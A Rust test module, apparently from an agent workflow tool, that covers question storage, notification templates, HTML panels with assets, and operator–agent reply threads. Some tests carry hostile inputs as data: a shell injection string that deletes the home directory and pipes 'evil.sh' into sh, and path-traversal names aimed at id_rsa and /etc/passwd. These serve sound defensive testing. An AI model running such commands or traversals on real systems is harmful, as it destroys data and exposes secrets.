1520 )
1521 .await
1522 .unwrap();
1523 handle.await.unwrap();
1524 assert_eq!(got, Wait::Answered("Redis".to_owned()));
1525
1526 assert!(notify(&quiet(), &q).await.is_ok());
1528 }
1529
1530 #[test]
1531 fn notification_arguments_are_substituted_and_never_a_shell_string() {
1532 let mut q = choice_question();
1533 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
1534 let template = [
1535 "ntfy".to_owned(),
1536 "publish".to_owned(),
1537 "--click".to_owned(),
1538 "{url}".to_owned(),
1539 "--title".to_owned(),
1540 "magi {run} needs you".to_owned(),
1541 "{summary}".to_owned(),
1542 ];
1543 let argv: Vec<String> = template
1544 .iter()
1545 .map(|a| expand(a, &q, "http://100.64.0.1:7777/#/questions"))
1546 .collect();
1547
1548 assert_eq!(
1549 argv,
1550 [
1551 "ntfy",
1552 "publish",
1553 "--click",
1554 "http://100.64.0.1:7777/#/questions",
1555 "--title",
1556 "magi 20260902-201256-9fb7 needs you",
1557 "; rm -rf ~ && curl evil.sh | sh #",
1558 ],
1559 "the shell metacharacters are one argument's contents, not syntax"
1560 );
1561
1562 q.summary = "should {url} be configurable?".to_owned();
1565 assert_eq!(
1566 expand("{summary}", &q, "http://x/#/questions"),
1567 "should {url} be configurable?"
1568 );
1569 assert_eq!(
1571 expand("{title}: {run}", &q, ""),
1572 "{title}: 20260902-201256-9fb7"
1573 );
1574 assert_eq!(expand("no placeholders", &q, "http://x"), "no placeholders");
1575 }
1576
1577 #[test]
1578 fn the_notification_link_lands_on_the_view_that_can_answer() {
1579 assert_eq!(
1580 question_url("http://100.64.0.1:7777"),
1581 "http://100.64.0.1:7777/#/questions"
1582 );
1583 assert_eq!(
1584 question_url("http://100.64.0.1:7777/"),
1585 "http://100.64.0.1:7777/#/questions"
1586 );
1587 assert_eq!(
1589 question_url("http://magi.ts.net/#/runs"),
1590 "http://magi.ts.net/#/runs"
1591 );
1592 assert_eq!(question_url(" "), "");
1594 }
1595
1596 fn panelled() -> Question {
1598 let mut q = choice_question();
1599 q.id = "20260903-014455-ab12".to_owned();
1600 q
1601 }
1602
1603 #[test]
1604 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
1605 let (dir, s) = store();
1606 let work = dir.path().join("worktree");
1607 std::fs::create_dir_all(&work).unwrap();
1608 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
1609 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
1610
1611 let mut q = panelled();
1612 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
1613 s.put_panel(
1614 &mut q,
1615 html,
1616 &[work.join("table.png"), work.join("diff.svg")],
1617 )
1618 .unwrap();
1619 s.put(&mut q).unwrap();
1620
1621 assert!(q.panel);
1622 assert_eq!(
1623 q.assets,
1624 ["diff.svg", "table.png"],
1625 "sorted, not in the order the agent happened to pass them"
1626 );
1627 assert_eq!(
1628 s.panel_html(&q.id).as_deref(),
1629 Some(html),
1630 "the html is stored byte for byte; the agent authored the markup"
1631 );
1632 assert_eq!(
1633 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
1634 Some(&b"<svg/>"[..])
1635 );
1636
1637 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
1639 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
1640 assert_eq!(json["panel"], true);
1641 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
1642 let back = s.get(&q.id).unwrap();
1643 assert!(back.panel);
1644 assert_eq!(back.assets, q.assets);
1645
1646 std::fs::remove_dir_all(&work).unwrap();
1649 assert_eq!(
1650 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
1651 Some(&b"\x89PNG"[..]),
1652 "a referenced asset would be gone with the worktree"
1653 );
1654 }
1655
1656 #[test]
1657 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
1658 let (dir, s) = store();
1659 let mut q = panelled();
1660 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
1661 s.put(&mut q).unwrap();
1662
1663 let secret = "this must never reach the browser";
1666 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
1667 assert_eq!(
1668 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
1669 secret,
1670 "the traversal is real: the operating system resolves this path \
1671 happily, which is why the name has to be refused before the join"
1672 );
1673
1674 let long = "x".repeat(200);
1675 for name in [
1676 "..",
1677 "../id_rsa",
1678 "..\\id_rsa",
1679 "sub/../id_rsa",
1680 "/",
1681 "\\",
1682 "/etc/passwd",
1683 "C:\\Windows\\win.ini",
1684 "",
1685 ".hidden",
1686 ".",
1687 long.as_str(),
1688 ] {
1689 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
1690 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
1691 assert!(
1692 e.contains("not a panel file name"),
1693 "`{name}` must be refused as a name, not attempted: {e}"
1694 );
1695 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
1696 }
1697 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
1700
1701 let hidden = dir.path().join(".hidden");
1704 std::fs::write(&hidden, "x").unwrap();
1705 let e = s
1706 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
1707 .unwrap_err()
1708 .to_string();
1709 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
1710 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
1711 assert!(q.assets.is_empty());
1712 }
1713
1714 #[test]
1715 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
1716 let (dir, s) = store();
1717 let mut q = panelled();
1718 s.put(&mut q).unwrap();
1719
1720 let big = dir.path().join("recording.png");
1723 std::fs::File::create(&big)
1724 .unwrap()
1725 .set_len(PANEL_MAX_BYTES)
1726 .unwrap();
1727
1728 let html = "<p>see the recording</p>";
1729 let total = PANEL_MAX_BYTES + html.len() as u64;
1730 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
1731 assert!(
1732 e.contains(&PANEL_MAX_BYTES.to_string()),
1733 "the cap is named so the agent knows the limit: {e}"
1734 );
1735 assert!(
1736 e.contains(&total.to_string()),
1737 "the actual size is named so the agent knows by how much: {e}"
1738 );
1739
1740 assert!(!q.panel);
1741 assert!(q.assets.is_empty());
1742 let left: Vec<String> = std::fs::read_dir(s.root())
1743 .unwrap()
1744 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
1745 .collect();
1746 assert_eq!(
1747 left,
1748 [format!("{}.json", q.id)],
1749 "a refused panel leaves neither a directory nor scratch: {left:?}"
1750 );
1751 }
1752
1753 #[test]
1754 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
1755 let (dir, s) = store();
1756 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
1757 std::fs::create_dir_all(&before).unwrap();
1758 std::fs::create_dir_all(&after).unwrap();
1759 std::fs::write(before.join("diff.png"), "before").unwrap();
1760 std::fs::write(after.join("diff.png"), "after").unwrap();
1761
1762 let mut q = panelled();
1763 let e = s
1764 .put_panel(
1765 &mut q,
1766 "<p>x</p>",
1767 &[before.join("diff.png"), after.join("diff.png")],
1768 )
1769 .unwrap_err()
1770 .to_string();
1771 assert!(e.contains("diff.png"), "{e}");
1772 assert!(
1773 e.contains("before") && e.contains("after"),
1774 "both sources are named, because the fix is to rename one: {e}"
1775 );
1776 assert!(!q.panel);
1777 assert!(!s.panel_dir(&q.id).exists());
1778 }
1779
1780 #[test]
1781 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
1782 let (dir, s) = store();
1783 std::fs::write(dir.path().join("old.png"), "old").unwrap();
1784 std::fs::write(dir.path().join("new.png"), "new").unwrap();
1785
1786 let mut q = panelled();
1787 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
1788 .unwrap();
1789 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
1790 .unwrap();
1791
1792 assert_eq!(q.assets, ["new.png"]);
1793 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
1794 assert!(
1795 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
1796 "an asset from the first attempt would show a mix of two answers"
1797 );
1798
1799 s.drop_panel(&q.id).unwrap();
1800 assert!(s.panel_html(&q.id).is_none());
1801 assert!(!s.panel_dir(&q.id).exists());
1802 s.drop_panel(&q.id)
1803 .expect("dropping a panel that is already gone is the desired state");
1804 }
1805
1806 #[test]
1807 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
1808 let (_dir, s) = store();
1809 let mut q = panelled();
1810 s.put(&mut q).unwrap();
1811
1812 assert!(!q.panel);
1813 assert!(s.panel_html(&q.id).is_none());
1814 assert!(
1815 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
1816 "a missing file is a 404 for the caller, not a failure of the store"
1817 );
1818 let json = serde_json::to_value(&q).unwrap();
1819 assert_eq!(json["panel"], false);
1820 assert_eq!(json["assets"], serde_json::json!([]));
1821
1822 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
1825 assert!(e.contains("empty panel"), "{e}");
1826 assert!(!s.panel_dir(&q.id).exists());
1827 }
1828
1829 #[test]
1830 fn a_question_written_before_panels_existed_still_deserialises() {
1831 let (_dir, s) = store();
1832 std::fs::create_dir_all(s.root()).unwrap();
1833 let id = "20260902-231501-ab12";
1834 let body = r#"{
1836 "schema": 1,
1837 "id": "20260902-231501-ab12",
1838 "run": "20260902-201256-9fb7",
1839 "node": "implement",
1840 "seat": "impl-A",
1841 "summary": "Which storage backend should the cache use?",
1842 "detail": "Both are already dependencies.",
1843 "choices": ["SQLite", "Redis"],
1844 "status": "open",
1845 "asked_at": "2026-09-02T23:15:01Z",
1846 "answered_at": null,
1847 "answer": null
1848}"#;
1849 std::fs::write(s.path_of(id), body).unwrap();
1850
1851 let q = s.get(id).unwrap();
1852 assert!(
1853 !q.panel,
1854 "an absent field means no panel, not a parse error"
1855 );
1856 assert!(q.assets.is_empty());
1857 assert_eq!(q.schema, 1);
1862 assert!(q.thread.is_empty());
1863 assert!(!q.waiting_on_agent());
1864 assert_eq!(q.summary, "Which storage backend should the cache use?");
1865 assert_eq!(
1866 s.list().len(),
1867 1,
1868 "and it is still listed; skipping it would hide an open question"
1869 );
1870 }
1871
1872 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
1873 Turn {
1874 who,
1875 body: body.to_owned(),
1876 at,
1877 }
1878 }
1879
1880 #[test]
1881 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
1882 let mut q = choice_question();
1885 q.thread
1886 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
1887 let value = serde_json::to_value(&q.thread[0]).unwrap();
1888 let mut keys: Vec<&str> = value
1889 .as_object()
1890 .unwrap()
1891 .keys()
1892 .map(String::as_str)
1893 .collect();
1894 keys.sort_unstable();
1895 assert_eq!(keys, ["at", "body", "who"]);
1896 assert_eq!(value["who"], "operator");
1897 assert_eq!(value["body"], "why not Postgres?");
1898
1899 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
1900 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
1901 assert_eq!(parsed.who, Who::Agent);
1902 }
1903
1904 #[test]
1905 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
1906 let mut q = choice_question();
1907 q.say("does the cache need eviction?").unwrap();
1908 assert_eq!(q.thread.len(), 1);
1909 assert_eq!(q.thread[0].who, Who::Operator);
1910 assert_eq!(q.thread[0].body, "does the cache need eviction?");
1911 assert_eq!(q.status, QuestionStatus::Open);
1914 assert!(q.answer.is_none());
1915 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
1916 }
1917
1918 #[test]
1919 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
1920 let mut answered = choice_question();
1921 answered
1922 .answer(Answer::Choice("SQLite".to_owned()))
1923 .unwrap();
1924 let a = answered.say("still there?").unwrap_err().to_string();
1925 assert!(a.contains("already answered"), "{a}");
1926 let b = answered
1927 .reply("still there?", vec![])
1928 .unwrap_err()
1929 .to_string();
1930 assert!(b.contains("already answered"), "{b}");
1931
1932 let mut abandoned = choice_question();
1933 abandoned.abandon("timed out");
1934 let c = abandoned.say("hello?").unwrap_err().to_string();
1935 assert!(c.contains("abandoned"), "{c}");
1936
1937 let mut open = choice_question();
1938 let d = open.say(" ").unwrap_err().to_string();
1939 assert!(d.contains("empty"), "{d}");
1940 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
1941 assert!(e.contains("empty"), "{e}");
1942 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
1943 }
1944
1945 #[test]
1946 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
1947 let mut q = choice_question();
1948 q.say("SQLite or Redis, but what about disk space?")
1949 .unwrap();
1950 assert!(q.waiting_on_agent());
1951
1952 q.reply(
1953 "SQLite: it is one file, no server to run.",
1954 vec!["SQLite".to_owned()],
1955 )
1956 .unwrap();
1957
1958 assert_eq!(q.choices, ["SQLite"]);
1959 assert!(
1960 !q.waiting_on_agent(),
1961 "the agent spoke, so the owner is the one being waited on now"
1962 );
1963 assert_eq!(q.thread.len(), 2);
1964 assert_eq!(q.thread[1].who, Who::Agent);
1965
1966 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
1968 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1969 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
1970 }
1971
1972 #[test]
1973 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
1974 let mut fresh = choice_question();
1975 assert!(
1976 fresh.should_notify(Timestamp::now()),
1977 "nobody has been notified yet, so the first ask always pages"
1978 );
1979
1980 fresh.say("why not Postgres?").unwrap();
1981 let just_said = fresh.thread[0].at;
1982 assert!(
1983 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
1984 "still on the screen a minute later; no need to page again"
1985 );
1986 assert!(
1987 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
1988 "exactly the window: `>` means this side stays quiet"
1989 );
1990 assert!(
1991 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
1992 "past the window: they may have walked away"
1993 );
1994 }
1995
1996 #[test]
1997 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
1998 let (_dir, s) = store();
1999 let mut q = choice_question();
2000 s.put(&mut q).unwrap();
2001 q.say("why not Postgres?").unwrap();
2002 s.put(&mut q).unwrap();
2003 q.reply("no server to run", vec!["SQLite".to_owned()])
2004 .unwrap();
2005 s.put(&mut q).unwrap();
2006
2007 assert_eq!(
2008 s.count_open(),
2009 1,
2010 "one question that talked twice is still one open question"
2011 );
2012 assert_eq!(s.open_for(&q.run).len(), 1);
2013 }
2014
2015 #[tokio::test]
2016 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
2017 let (dir, s) = store();
2018 let mut q = choice_question();
2019 let id = q.id.clone();
2020 let writer = Questions::at(dir.path().join("questions"));
2021 let handle = tokio::spawn(async move {
2022 tokio::time::sleep(Duration::from_millis(30)).await;
2023 let mut fresh = writer.get(&id).expect("the question was filed first");
2024 fresh.say("why not Postgres?").unwrap();
2025 writer.put(&mut fresh).unwrap();
2026 });
2027
2028 let got = wait_for_owner(
2029 &mut q,
2030 &s,
2031 &quiet(),
2032 Duration::from_secs(5),
2033 Duration::from_millis(10),
2034 )
2035 .await
2036 .unwrap();
2037
2038 handle.await.unwrap();
2039 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
2040 assert_eq!(
2041 q.status,
2042 QuestionStatus::Open,
2043 "talking back is not a decision; the question stays open"
2044 );
2045 assert!(q.answer.is_none());
2046 }
2047}